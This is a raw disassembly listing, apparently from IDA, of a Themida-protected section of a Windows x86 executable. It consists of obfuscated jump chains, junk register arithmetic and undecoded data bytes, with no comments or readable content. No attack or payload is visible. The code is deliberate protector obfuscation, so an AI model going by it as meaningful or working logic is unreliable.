		db 87h,	3Ch, 24h
		dd 8124248Bh, 4ECh, 242C8900h, 5753E589h, 3A6CC068h, 243C8B28h
		dd 4C481h, 57E90000h, 0ADFFFF2Eh, 207F83h, 0B241840Fh
		dd 0E957FFFFh, 0FFFF9AB8h, 348BF001h, 4C48124h,	68000000h
		dd 2A97h, 0BA241489h, 4, 12E9D001h, 50000023h, 0C7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_561EF1:				; CODE XREF: Themida_:00552003j
		add	ebp, 7F1C3780h
		sub	ebp, 5C5C0D3Ch
		push	ebx
		mov	ebx, 5C2F0353h
		add	ebp, ebx
		pop	ebx
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_5507EE
; ---------------------------------------------------------------------------


loc_561F17:				; CODE XREF: Themida_:0055188Dj
		pop	edx
		xor	ebp, 1C1D4CCFh
		add	ebp, 4C2B581h
		sub	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1DE87F8Eh
		jmp	loc_555EA3
; ---------------------------------------------------------------------------
		dw 0D5BAh
		dd 8150AB14h, 2E2385EAh, 27F2811Fh, 0F74F7A72h,	3050E9DAh
		dd 5A04FFFFh, 0B3530904h, 80CBFEC5h, 0CB80DAEBh, 0C82BE936h
		dd 6C81FFFFh, 192C0424h, 61E95066h, 0B8FFFFD6h,	785C440Eh
		dd 507E8C1h, 46F73838h,	0FF4B81E9h, 5FFA31FFh, 243C8B52h
		dd 0FF193CE9h, 0C1D1F7FFh, 0ADE902E1h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F9B:				; CODE XREF: Themida_:00552B9Bj
		or	edi, 7EA85F8Ch
		jmp	loc_5534A8
; ---------------------------------------------------------------------------
		dw 0F321h
		dd 290685Eh, 0A4E90000h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561FB3:				; CODE XREF: Themida_:0055CE6Dj
		pop	edi
		jmp	loc_560454
; ---------------------------------------------------------------------------


loc_561FB9:				; CODE XREF: Themida_:00560D4Dj
		mov	esi, 0A7323D0h
		push	esi
		neg	dword ptr [esp]
		pop	esi
		inc	esi
		dec	esi
		xor	esi, 3D17F00Ch
		jmp	loc_5606DE
; ---------------------------------------------------------------------------
		dd 243C8758h, 8924248Bh, 8B542404h, 0C4832404h,	40504h
		dd 4050000h, 0E9000000h, 0FFFFE06Fh
; ---------------------------------------------------------------------------


loc_561FF0:				; CODE XREF: Themida_:0055BE71j
		pop	ebx
		sub	edi, 7BFC26F4h
		jmp	loc_55FDFF
; ---------------------------------------------------------------------------
		dd 0E9240431h, 0FFFEEA14h, 5C24048Fh, 53E1F766h, 458768h
		dd 24248900h, 4BE56h, 74010000h, 13E90424h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562023:				; CODE XREF: Themida_:005540A3j
		mov	edx, [esp]
		add	esp, 4
		add	ebp, eax
		jmp	loc_556866
; ---------------------------------------------------------------------------
		db 0C1h
		dd 25E903EBh, 55000005h, 0FFE621E9h, 242C89FFh,	242C8B54h
		dd 4C481h, 0EC810000h, 4, 0FFC085E9h, 67E95BFFh, 5DFFFF58h
		dd 0FFEE0166h, 835D2434h, 0BBE904C4h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56206F:				; CODE XREF: Themida_:00559478j
		shr	dh, 1
		xor	dh, 0B4h
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	18C4h
		mov	[esp], edx
		push	ecx
		push	eax
		jmp	loc_558638
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 7A031317h, 7EE1F381h, 0DD89605Ch, 0F4E9525Bh, 2DFFFEF6h
		dd 4, 0FF0A36E9h, 240489FFh, 0ED14E953h, 0C301FFFFh, 2BE3C381h
		dd 34FF04E4h, 0C4835824h, 241C3304h, 33241C31h,	0D25C241Ch
		dd 0E99C242Ch, 0FFFEE716h
; ---------------------------------------------------------------------------


loc_5620D8:				; CODE XREF: Themida_:00558262j
		pop	esi
		add	ebx, 0E2E01FCh
		jmp	loc_552859
; ---------------------------------------------------------------------------


loc_5620E4:				; CODE XREF: Themida_:00550881j
		mov	[esp], edi
		mov	edi, 62B0030Bh
		xor	edi, 10B66D22h
		sub	esp, 4
		jmp	loc_554A0B
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 57000000h, 4BFh, 0FFF90100h,	3C8B2434h, 4C48124h, 0E9000000h
		dd 0FFFF8B43h, 2C5AF188h, 0BAD8E910h, 0D6F7FFFFh, 1907F681h
		dd 0F2296A7Ah, 2414875Eh, 2404895Ch, 1FF4E9h, 24143100h
		dd 0E9241433h, 0FFFFB93Bh, 405h, 4E88300h, 50F468h, 24048900h
		dd 42474FFh, 0E924048Bh, 23Eh, 0B7E9F589h, 51FFFF8Ch, 42474FFh
		dd 0F60BE959h, 2966FFFFh, 91685FF8h, 89000056h,	17682404h
		dd 54000021h, 0FFA438E9h, 58C501FFh, 34FFEE31h,	242C8B24h
		dd 4C481h, 0C4830000h, 71E94E04h, 59FFFF5Ah, 3DDCBF57h
		dd 0DFF71D15h, 0DFFFF781h, 0F9319B1Eh, 83243C8Bh, 15804C4h
		dd 4EC83C1h, 52240489h,	9468FA88h, 8900003Ch, 0D588240Ch
		dd 0E959E888h, 27D8h, 3CA3E981h, 0ACE97400h
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5621E7:				; CODE XREF: Themida_:00554E40j
		add	edi, ebx
		jmp	loc_55BE6B
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 76E9E801h, 68FFFF44h, 25DBh, 68242C89h, 158Dh, 0E9240C89h
		dd 247h, 5AD6895Dh, 53515255h, 0BA1D5468h, 0CBE1E904h
		dd 0CB80FFFFh, 2BAFE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56222A:				; CODE XREF: Themida_:005512F3j
		pop	esp
		jmp	loc_550F17
; ---------------------------------------------------------------------------
		dd 4C4815Fh, 0E9000000h, 0FFFF945Bh
; ---------------------------------------------------------------------------


loc_56223C:				; CODE XREF: Themida_:00554B80j
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	1215h
		jmp	loc_5650A6
; ---------------------------------------------------------------------------
		dd 53B9E680h, 51662EB7h, 0CF3062B1h, 0CFFE5966h, 0FEF3F4E9h
		dd 289468FFh, 0C890000h, 0A0CB924h, 0EC812122h,	4, 0E9242C89h
		dd 28BEh, 2F0AE959h, 0C4810000h, 4, 4EC81h, 1C890000h
		dd 6A89BB24h, 0F381286Dh, 7BFB03F3h, 0FFC61BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5622C1:				; CODE XREF: Themida_:0055583Bj
		add	eax, 4
		jmp	loc_5567DB
; ---------------------------------------------------------------------------
		db 58h
		dd 0E95AD301h, 0FFFF7773h, 939EE81h, 0D60157F4h, 939C681h
		dd 0B5E957F4h, 0E9FFFF5Ch, 0FFFEE502h
; ---------------------------------------------------------------------------


loc_5622EC:				; CODE XREF: Themida_:00557F97j
		push	eax
		mov	eax, esp
		jmp	loc_558D1F
; ---------------------------------------------------------------------------
		dd 42474FFh, 0FF2434FFh, 5E92434h, 89FFFFB2h, 68662404h
		dd 89660EEFh, 0E5B62414h, 5A66F488h, 0FDB45066h, 28ECC380h
		dd 0ECEB80E3h, 0FEF4D8E9h, 0E9C300FFh, 0FFFEFF41h, 4C381h
		dd 8CE90000h, 5BFFFF8Dh, 0E904C483h, 0FFFEE4AEh
; ---------------------------------------------------------------------------


loc_562340:				; CODE XREF: Themida_:0055F98Bj
		not	dh
		jmp	loc_5651FF
; ---------------------------------------------------------------------------


loc_562347:				; CODE XREF: Themida_:0055F455j
		pop	esi
		push	3FEAh
		mov	[esp], esi
		jmp	loc_562FA1
; ---------------------------------------------------------------------------


loc_562355:				; CODE XREF: Themida_:005592ADj
		pop	esp
		jmp	loc_5600FD
; ---------------------------------------------------------------------------


loc_56235B:				; CODE XREF: Themida_:005544D2j
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		pop	eax
		push	ebp
		mov	ebp, 6BAC03AAh
		neg	ebp
		sub	ebp, 3CD9EF4Dh
		add	eax, ebp
		pop	ebp
		push	1097h
		mov	[esp], ecx
		mov	ecx, 800000h
		jmp	loc_564D89
; ---------------------------------------------------------------------------
aJs		db 'J&',0
		align 2
		dw 0C481h
		dd 4, 5C24048Fh, 0FF7CF7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5623B1:				; CODE XREF: Themida_:00563947j
		inc	esi
		xor	esi, 718A5FBCh
		add	esi, 0A71CAC6h
		mov	ecx, esi
		pop	esi
		add	edx, 2C6B4D65h
		jmp	loc_55B264
; ---------------------------------------------------------------------------
		dd 0E958575Bh, 0FFFF0349h
; ---------------------------------------------------------------------------


loc_5623D4:				; CODE XREF: Themida_:00550DE4j
		mov	edi, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4D093502h
		sub	edx, edi
		pop	edi
		push	ebp
		push	ebx
		mov	ebx, 287B611Fh
		sub	ebx, 674F5316h
		or	ebx, 4B276703h
		shl	ebx, 2
		push	edi
		mov	edi, 67124E04h
		sub	edi, 80670B5Bh
		sub	ebx, edi
		pop	edi
		jmp	loc_555D93
; ---------------------------------------------------------------------------
		db 66h,	81h, 0EBh
		dd 81665D02h, 664DDFC3h, 0EC81C329h, 2,	0FEE59FE9h, 0E3EA80FFh
		dd 28C7C280h, 0C7EA80CAh, 66E3C280h, 28152C59h,	8B1504D0h
		dd 83502414h, 8F5404ECh, 4832404h, 34FF0424h, 91E95824h
		dd 0B9FFFF7Bh, 4E145E0Fh, 0FF5BA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562461:				; CODE XREF: Themida_:005628A3j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 19B0B16h
		xor	ecx, ebx
		pop	ebx
		pop	esi
		shl	ecx, 8
		sub	ecx, 5DDD7225h
		inc	ecx
		shl	ecx, 6
		xor	ecx, 5CD28FCBh
		push	ecx
		pop	ebx
		jmp	loc_563751
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 348704EEh, 1C895C24h, 2BB24h, 0BB530000h
		dd 1DBD7636h, 0FF0299E9h, 5EF529FFh, 2C8BE821h,	4EC8124h
		dd 89000000h, 0E954240Ch, 0FFFF559Ch, 24E9505Ch, 2900000Eh
		dd 39EF81D7h, 5A10723Fh, 8124048Bh, 4C4h, 0C0B60F00h, 688734FFh
		dd 110Dh, 83242C89h, 1C8904ECh,	0FB56E924h, 0C483FFFEh
		dd 24048704h, 0D55FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562502:				; CODE XREF: Themida_:0055CF1Bj
		add	bl, 60h
		pop	eax
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_550DC0
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EFh
		dd 6F524303h, 2092685Eh, 34890000h, 9EFEBE24h, 0F73142E9h
		dd 0FF2434FFh, 835E2434h, 0C48304C4h, 5FF83104h, 0FF528EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56253D:				; CODE XREF: Themida_:0055F809j
		add	eax, ebp
		add	eax, 1F652A49h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 39400989h
		push	ebx
		mov	ebx, 0F56336Eh
		and	ebx, 737A71FAh
		jmp	loc_555CE9
; ---------------------------------------------------------------------------
		dd 1EAFF381h, 0DA890BA8h, 0D698E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56256E:				; CODE XREF: Themida_:0055DF16j
		sub	dl, 5Ah
		xor	bl, dl
		pop	edx
		not	bl
		add	bl, 79h
		inc	bl
		push	ax
		mov	al, bl
		not	al
		jmp	loc_553917
; ---------------------------------------------------------------------------
		dw 3489h
		dd 50E68924h, 0D32136B8h, 8E8C142h, 0EC81D8F7h,	4, 0BA241489h
		dd 35AE404Dh, 0C736C05h, 2DD00102h, 20C736Ch, 2DC4E95Ah
		dd 0C683FFFFh, 57FE87FFh, 5F2414F7h, 0EE81FE87h, 3CDC2B66h
		dd 685EF501h, 7EBFh, 0BE243489h, 2, 0FD4BF57h, 0C7815DB4h
		dd 0EA394C21h, 0FFDA14E9h, 65EA81FFh, 4258050Ah, 46CFF281h
		dd 83421E35h, 1C8904ECh, 0BB24h, 0B8500000h, 8002A5Eh
		dd 63171B0Dh, 18AE2523h, 41E9276Fh
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562617:				; CODE XREF: Themida_:0055A749j
		push	esp
		pop	edi
		push	4443h
		mov	[esp], eax
		mov	eax, 58CA107Ch
		and	eax, 44AE6954h
		jmp	loc_55C06C
; ---------------------------------------------------------------------------
		dd 86236B68h, 2434FF5Fh, 4C48159h, 5000000h, 2E621AC2h
		dd 0C22DC829h, 592E621Ah, 0E9C3315Fh, 4CAh, 83240C8Bh
		dd 48904ECh, 68E08924h,	2088h, 51243489h, 4B9h,	59CE8900h
		dd 336CDD05h, 0E9F00119h, 0FFFFBCF1h, 0B9240C89h, 4, 9DBED81h
		dd 0BE564E9Dh, 1CA101C7h, 815EF529h, 834A75C5h,	0C3C58169h
		dd 11CC727h, 0C3ED81CDh, 521CC727h, 4A75B951h, 0CA896983h
		dd 0FEFE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626B6:				; CODE XREF: Themida_:0055B476j
		xor	bl, 41h
		add	al, bl
		jmp	loc_55C9B8
; ---------------------------------------------------------------------------
		dd 665BDA88h, 1C28059h,	24A36866h, 240C8966h, 52E9E5B1h
		dd 0FFFFFFFDh, 505A2434h, 68E18951h, 6902h, 0BA241489h
		dd 6B18140Eh, 6E96C281h, 0E28105B6h, 104833CAh,	0FF80D6E9h
		dd 8BF889FFh, 0C68243Ch, 89000023h, 5954240Ch, 0F4D9E956h
		dd 0DD29FFFEh, 73BFC581h, 0EC812889h, 4, 68241C89h, 5396697Ah
		dd 0E9DD295Bh, 0FFFFC152h
; ---------------------------------------------------------------------------


loc_562730:				; CODE XREF: Themida_:00562F96j
		or	esi, 0F7F5003h
		sub	esi, 0EF7E525Fh
		jmp	loc_559B5A
; ---------------------------------------------------------------------------
		db 5, 0D1h, 0CAh
		dd 0C589F460h, 8BE82958h, 5168242Ch, 89000056h,	5F54243Ch
		dd 4C781h, 0C7810000h, 4, 0FF8F58E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562769:				; CODE XREF: Themida_:00560DB4j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_55194A
; ---------------------------------------------------------------------------


loc_562788:				; CODE XREF: Themida_:005628B2j
		push	ebx
		jmp	loc_555072
; ---------------------------------------------------------------------------
aBu18?csq	db '18?Cq+',0
		dd 46E28100h, 814B030Bh, 30A44F2h, 39C3814Bh, 0E9208A74h
		dd 0FFFFA804h, 0C1182EBEh, 0BEF6812Bh, 8159C34Ah, 0B617ECE6h
		dd 0C6814E2Bh, 0DDFDED85h, 0FF8E80E9h, 0B2EE80FFh, 148BF328h
		dd 4C48124h, 4000000h, 20F9E909h, 0E4C00000h, 49C48008h
		dd 2C58E628h, 4F0288Bh,	2434FF8Bh, 4C4835Ah, 5C2168h, 241C8900h
		dd 0F2B55150h, 88EA8852h, 0E9595AD0h, 0FFFF122Dh, 0E9243C89h
		dd 40Ah, 8107E9C1h, 0C13C3AE9h,	0C0BD555Eh, 81599E78h
		dd 164C9F5h, 0F581453Bh, 34143974h, 9AED8145h, 29B4C25Bh
		dd 0CE015DE9h, 4EE8159h, 87000000h, 895C2434h, 0EC812404h
		dd 4, 0FFDA61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562859:				; CODE XREF: Themida_:00560DF6j
		xor	ecx, [esp]
		jmp	loc_5614BA
; ---------------------------------------------------------------------------
		db 5Ah,	53h, 0B7h
		dd 71C78098h, 0FF2E73E9h, 81F701FFh, 5341A0EFh,	0EFC15E4Dh
		dd 0F7814F02h, 1579D578h, 0FFC841E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562885:				; CODE XREF: Themida_:0055EB62j
		mov	[esp], edx
		jmp	loc_553E94
; ---------------------------------------------------------------------------
		db 59h,	5, 2Bh
		dd 0E944A81Eh, 0FFFFA0B7h
; ---------------------------------------------------------------------------


loc_562898:				; CODE XREF: Themida_:00557228j
		mov	eax, 19B0B16h
		xor	[esp+4], eax
		pop	eax
		pop	ecx
		jmp	loc_562461
; ---------------------------------------------------------------------------
		dd 5604C483h, 0FFB006E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5628B1:				; CODE XREF: Themida_:0055B83Dj
		push	esi
		jmp	loc_562788
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 3AA947EAh
		jmp	loc_55B7AB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 14892424h, 80D0B624h, 0F300EDEBh, 5AEDC380h,	0FEE339E9h
		dd 9FE951FFh, 89FFFF62h, 4C681E6h, 83000000h, 348704C6h
		dd 1F685C24h, 89000046h, 0EC812414h, 4,	0BB241C89h, 424574D1h
		dd 849C71BAh, 0D7E909h,	56520000h, 0FF0CEDE9h, 1EBD55FFh
		dd 0C1020173h, 0ED8107EDh, 0BDBFFF29h, 0B867B905h, 2DE8015Eh
		dd 5EB867B9h, 39222D5Dh, 3F055215h, 55B8D25h, 2A4B2199h
		dd 8124148Bh, 4C4h, 24043300h, 0E9240431h, 0FFFFB8BCh
		dd 0FCB1515Bh, 0E9C0C1FEh, 683A6802h, 14890000h, 80DFB624h
		dd 5366FFC6h, 0EAE9F388h, 8300000Dh, 48904ECh, 241CF724h
		dd 0FFE95358h, 5A000020h, 4EC8358h, 0BD242C89h,	294656BBh
		dd 0E9954895h, 0FFFEF0EEh, 527BE954h, 1868FFFFh, 89000074h
		dd 0EC81243Ch, 4, 66243489h, 0E950C3BEh, 0FFFF4922h, 0D131CA31h
		dd 0E2C1CA31h, 0BCCA8103h, 81632219h, 361DFEF2h, 0E951506Fh
		dd 0FFFFDAA4h, 2474FF53h, 2434FF04h, 4C4835Bh, 0FF2752E9h
		dd 5BDA01FFh, 4245401h,	0FEDF76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A09:				; CODE XREF: Themida_:00562C97j
		pop	eax
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_5601E7
; ---------------------------------------------------------------------------
		db 89h
		dd 0FF542434h, 0E95E2434h, 0FFFFC7BAh, 0B5E9F000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562A2B:				; CODE XREF: Themida_:00564109j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_56188A
; ---------------------------------------------------------------------------
		dd 0F281595Ah, 5B2151F7h, 6E77EA81h, 0D3017504h, 4EC815Ah
		dd 89000000h, 4BE2434h,	29000000h, 24348BF3h, 6804C483h
		dd 67ADh, 0FF241C89h, 8B042474h, 0C481241Ch, 4,	8B24048Fh
		dd 0E7E92424h, 89FFFF66h, 0DD315BDDh, 113E9h, 81E58900h
		dd 4C5h, 0C2E4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A92:				; CODE XREF: Themida_:0055C2E0j
		push	ebp
		mov	ebp, esp
		push	3DB8h
		mov	[esp], ebx
		mov	ebx, 7E15A37h
		jmp	loc_55C43E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0BFE92424h, 0B3FFFF73h, 0FFD3302Fh, 835A2434h, 0EBC004C4h
		dd 2EC8303h, 240C8966h,	0FF3BF3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562AC9:				; CODE XREF: Themida_:0055611Cj
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, 22B64373h
		shl	ecx, 7
		jmp	loc_552E5E
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 54410FFAh, 295EF729h, 64E95FFBh
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562AFF:				; CODE XREF: Themida_:0055CC53j
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		jmp	loc_559BD5
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 686600B6h, 896646ABh, 0BFE92404h
		db 0DCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562B2F:				; CODE XREF: Themida_:005641CEj
		mov	esp, [esp]
		push	esi
		jmp	loc_550B74
; ---------------------------------------------------------------------------
		dd 5201ED83h, 4E956851h, 0ACE91C59h, 83FFFF78h,	36E902C4h
		dd 5E00000Bh, 1AF5E981h, 0C10113F5h, 0FF0EA1E9h, 4C381FFh
		dd 0E9000000h, 14DBh, 0E9240C87h, 0FFFF5DCBh, 24BEE956h
		dd 0EC81FFFFh, 4, 68242489h, 5E04h, 0BD242C89h,	4, 4246C01h
		dd 0E955585Dh, 26D7h, 0D6BD555Bh, 0C1113340h, 0D5F702E5h
		dd 0C7AE945h, 77FF0000h, 58669D1Ch, 24041966h, 0DC34E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562BBA:				; CODE XREF: Themida_:00557E70j
		xor	esi, [esp]
		jmp	loc_5653EC
; ---------------------------------------------------------------------------


loc_562BC2:				; CODE XREF: Themida_:0055B152j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5507EE
; ---------------------------------------------------------------------------


loc_562BCE:				; CODE XREF: Themida_:0055799Fj
		push	edx
		mov	edx, esp
		jmp	loc_561B58
; ---------------------------------------------------------------------------


loc_562BD6:				; CODE XREF: Themida_:0055712Aj
		mov	[esp], ebp
		push	edx
		mov	edx, 3EB42976h
		mov	ebp, edx
		pop	edx
		jmp	loc_550E88
; ---------------------------------------------------------------------------
		db 81h
		dd 9A7474EBh, 8B03034Ah, 0C483241Ch, 2434FF04h,	0E0895059h
		dd 405h, 40500h, 4330000h, 5ED3E924h, 895CFFFFh, 58542404h
		dd 405h, 89565600h, 6FCAE9E6h, 6268FFFFh, 89000001h, 0CFBD242Ch
		dd 0BF2C1C5Fh, 2901B6FDh, 20E7C781h, 30E95527h,	81FFFF40h
		dd 4C2h, 42E95300h, 58FFFF6Eh, 8853D5F6h, 0FA6AE9EBh, 2C33FFFFh
		dd 8BE95C24h, 56FFFF0Eh, 2A4DACBEh, 14F75632h, 0E6815E24h
		dd 5CCD01B5h, 46FAE955h, 0C33FFFFh, 0BF01E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562C7E:				; CODE XREF: Themida_:00555455j
		shl	ecx, 7
		xor	ecx, 745B4806h
		shl	ecx, 7
		jmp	loc_5640DB
; ---------------------------------------------------------------------------


loc_562C8F:				; CODE XREF: Themida_:00557C26j
		push	eax
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_562A09
; ---------------------------------------------------------------------------
		dd 1BBDE95Eh, 74FFFFFFh, 8FE90424h, 5AFFFF0Bh, 33F7B951h
		dd 0CA0169DAh, 243C8B59h, 8304C483h, 1C8904ECh,	392ABB24h
		dd 0E95379D2h, 0FFFFD8D7h, 0C36685Ah, 3C890000h, 9C3E924h
		dd 7431FFFFh, 0D4E90424h, 1FFFFCAh, 9BEA81DAh, 5B62541Ah
		dd 31241433h, 14332414h, 24248B24h, 66E9F766h, 66018468h
		dd 66241489h, 0E3E99C50h, 89FFFEDAh, 0EAE92404h, 5BFFFFA8h
		dd 8473F781h, 0FA0970A8h, 3EAC15Fh, 435EE951h, 6856FFFFh
		dd 30B65F9Bh, 0E924348Bh, 0FFFFDDFAh, 7C8441BDh, 0F76FE90Ch
		dd 5055FFFFh, 0AF3B2268h, 2434FF43h, 4B685558h,	0E9000036h
		dd 0FFFF3C03h
; ---------------------------------------------------------------------------


loc_562D54:				; CODE XREF: Themida_:00558E24j
		mov	ebx, 0A366D21h
		sub	ebx, 0EB5B4125h
		mov	edi, ebx
		jmp	loc_55157F
; ---------------------------------------------------------------------------
		dw 0F929h
		dd 83243C8Bh, 0F5E904C4h, 68FFFFFDh, 3FF1h, 0BE243489h
		dd 3625354Fh, 0FF0C23E9h, 0E38953FFh, 0C3BB5356h, 895C5D1Fh
		dd 0ABE95BDEh, 0BBFFFF24h, 9AF3481h, 575BDA09h,	0D3AE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562DA6:				; CODE XREF: Themida_:00561169j
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		push	2D2Dh
		mov	[esp], ebp
		mov	ebp, 3FD85DF8h
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_563927
; ---------------------------------------------------------------------------
		dd 204E02BAh, 0B1CE935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562DD2:				; CODE XREF: Themida_:005637B3j
		or	edx, 608D7E60h
		push	ebx
		mov	ebx, 1F4128A8h
		push	esi
		mov	esi, 0CD29AA5Fh
		jmp	loc_55235C
; ---------------------------------------------------------------------------
		db 5Eh,	0F7h, 0D8h
		dd 6A685551h, 5D682507h, 8108E5C1h, 0F838D6F5h,	0D1ED817Eh
		dd 893AD54Dh, 242C8BE9h, 8104C483h, 0A112C7C1h,	0E9C821F9h
		dd 0FFFFD9EEh, 4EC81h, 34890000h, 9EBB5324h, 435E312Ah
		dd 37E9E3D1h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562E2F:				; CODE XREF: Themida_:0055392Dj
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		not	edx
		push	ecx
		mov	ecx, 31170FF8h
		jmp	loc_562F4B
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 53h
		dd 89E0F2FCh, 243C8BF8h, 81E18951h, 4C1h, 4C18300h, 0FFA46EE9h
		dd 28B850FFh, 89225F63h, 0D2F758C2h, 0FF5CC9E9h, 92F287FFh
		dd 2404FF50h, 0FF27F4E9h, 41E94AFFh
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562E8B:				; CODE XREF: Themida_:005553A5j
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	5CB1h
		jmp	loc_558D98
; ---------------------------------------------------------------------------
		dw 6168h
		dd 5E6D6F25h, 39C8CE81h, 0E6C15F57h, 3E6C105h, 0EC83E6D1h
		dd 243C8904h, 68D3B850h, 0D3E93393h, 29FFFF14h,	348B5DEBh
		dd 6E8CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562ED2:				; CODE XREF: Themida_:0055FB2Ej
		push	edi
		jmp	loc_55B5A4
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFF6A6h, 5AF38858h, 81240C8Bh, 4C4h
		dd 0B0506600h, 66C3306Fh, 8324048Bh, 0D98802C4h, 50D1F65Bh
		dd 0B652EAB4h, 38CE8023h, 0F680CEFEh, 0E9F43015h, 0FFFFF94Dh
		dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFED8CAh
; ---------------------------------------------------------------------------


loc_562F24:				; CODE XREF: Themida_:0055F2C2j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_563A62
; ---------------------------------------------------------------------------


loc_562F3F:				; CODE XREF: Themida_:0055F3EDj
		pop	ebp
		and	ebp, 64372767h
		jmp	loc_55B6CB
; ---------------------------------------------------------------------------


loc_562F4B:				; CODE XREF: Themida_:00562E48j
		sub	ecx, 0BC22DC79h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4FDE7250h
		or	edx, ebp
		pop	ebp
		push	2893h
		mov	[esp], esi
		mov	esi, 2A50220Ah
		sub	esi, 13FD0CE3h
		inc	esi
		shl	esi, 4
		jmp	loc_562730
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFCE6BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562FA1:				; CODE XREF: Themida_:00562350j
		mov	esi, 923F4D7Bh
		jmp	loc_55D1EB
; ---------------------------------------------------------------------------
		db 80h
		dd 536609CAh, 5BE909B7h, 81FFFF6Bh, 4C4h, 40500h, 54570000h
		dd 0FF5F66E9h, 4C483FFh, 74D5EB81h, 0C3013949h,	0DBDDE951h
		dd 815AFFFFh, 7F255CC2h, 0F2815B42h, 1EF66A8Fh,	114EEE81h
		dd 0D601315Bh, 114EC681h, 0FAE9315Bh, 66FFFF6Ch, 68240C8Bh
		dd 3E38h, 0FF628AE9h
		db 0FFh
